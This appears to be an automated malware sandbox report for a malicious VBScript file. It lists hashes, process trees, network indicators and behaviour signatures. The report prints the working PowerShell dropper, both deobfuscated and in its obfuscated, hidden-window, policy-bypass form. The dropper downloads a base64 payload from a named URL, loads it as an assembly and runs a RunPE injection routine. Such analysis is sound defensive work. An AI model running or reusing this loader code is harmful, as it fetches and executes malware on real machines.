Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

05f1bfad10...f7.vbs

windows7-x64

10

05f1bfad10...f7.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    02/10/2024, 03:22 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs

  • Size

    500KB

  • MD5

    5b4a21e35cce386f8692a4a5d684cb14

  • SHA1

    38cefdde89a5577f3d89396afd6fc15c8f89200e

  • SHA256

    05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7

  • SHA512

    94543f5006c02fe0df66d9c6517831bc7afa22336372d2f87de1f0d21028b5d228850fe4d03e9c8721d4fb4e44d34c711a21a7abf35e1268f1293daab07b30b2

  • SSDEEP

    12288:Ppg9Y9TU6WMHM8GjqgjuLlXxp7kuqXZqDpw20ADLlpfMom6av1o0pLtxoo/Obx5X:GUsZkfqezIZy30W7

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
1
# powershell snippet 0
2
invoke-expression "$url = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt';$base64Content = (New-Object System.Net.WebClient).DownloadString($url);$binaryContent = [System.Convert]::FromBase64String($base64Content);$assembly = [Reflection.Assembly]::Load($binaryContent);$type = $assembly.GetType('RunPE.Home');$method = $type.GetMethod('VAI');$method.Invoke($null, [object[]]@('txt.ilimm/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"
3
4
# powershell snippet 1
5
$url = "https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt"
6
$base64content = (new-object system.net.webclient).downloadstring("https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt")
7
$binarycontent = [system.convert]::frombase64string($base64content)
8
$assembly = [reflection.assembly]::load($binarycontent)
9
$type = $assembly.gettype("RunPE.Home")
10
$method = $type.getmethod("VAI")
11
$method.invoke($null, [object[]]"txt.ilimm/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth", "desativado", "desativado", "desativado", "RegAsm", "")
12
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2648

Network

  • flag-us
    DNS
    ia600100.us.archive.org
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    ia600100.us.archive.org
    IN A
    Response
    ia600100.us.archive.org
    IN A
    207.241.227.240
  • 207.241.227.240:443
    ia600100.us.archive.org
    tls
    powershell.exe
    357 B
     219 B
     5
    5
  • 207.241.227.240:443
    ia600100.us.archive.org
    tls
    powershell.exe
    357 B
     219 B
     5
    5
  • 8.8.8.8:53
    ia600100.us.archive.org
    dns
    powershell.exe
    69 B
     85 B
     1
    1

    DNS Request

    ia600100.us.archive.org

    DNS Response

    207.241.227.240

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    64cf947b6467bf01946bf4320877b5c8

    SHA1

    73f357e2f732ce48bcb03aef06fb50b0c199f51b

    SHA256

    8746865560b01a2df184e6ed608ccff8f65e96cdfd9bbd9f4f8c1108cad0ae5b

    SHA512

    386bb8a32dc4aadf7bd091ec5ff1259938796746a514145d3051260659c0b04f7c972870a12d482e740185054c6ec0becc96c18a0cd9b701f30ab59ad186f806

    Download Submit

  • memory/2324-4-0x000007FEF615E000-0x000007FEF615F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2324-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2324-6-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2324-7-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2324-8-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2324-9-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2324-11-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2324-16-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

    Filesize

    9.6MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.